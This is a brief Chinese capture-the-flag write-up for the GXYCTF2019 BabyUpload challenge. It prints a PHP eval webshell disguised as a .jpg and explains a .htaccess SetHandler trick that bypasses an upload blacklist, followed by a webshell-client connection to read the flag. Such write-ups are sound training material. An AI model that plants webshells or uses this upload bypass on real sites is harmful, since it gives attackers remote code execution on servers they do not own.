文件上传 [GXYCTF2019]BabyUpload1

文件上传 [GXYCTF2019]BabyUpload1"/>

文件上传 [GXYCTF2019]BabyUpload1

打开题目

传个是jpg文件后缀的一句话木马上去

代码如下

<script language='php'>@eval($_POST['v']);</script>   

发现上传成功

因此我们需要先上传 .htaccess 文件，然后再上传 2.jpg文件

.htaccess作用：文件将别的后缀名文件内容解析为php程序。

 但是在此之前我们需要注意两个点

1.htaccess文件内容必须包裹着要解析的文件名

如下

2.htaccess文件在上传的时候必须通过bp抓包来改变文件格式才能上传成功

接下来我们上传2.jpg

上传成功后我们访问一下路径

没有报错，说明上传成功

 接下来我们用蚁剑连接一下

在根目录下找到了flag

知识点：

其中.htaccess文件内容：SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析，那么无论上传任何文件，只要符合php语言代码规范，就会被当做PHP执行。不符合规则则报错

如果在一个黑名单中添加了很多后缀名，唯独没有对htaccess过滤，可以直接上传.htaccess来设置使用php解析任意文件。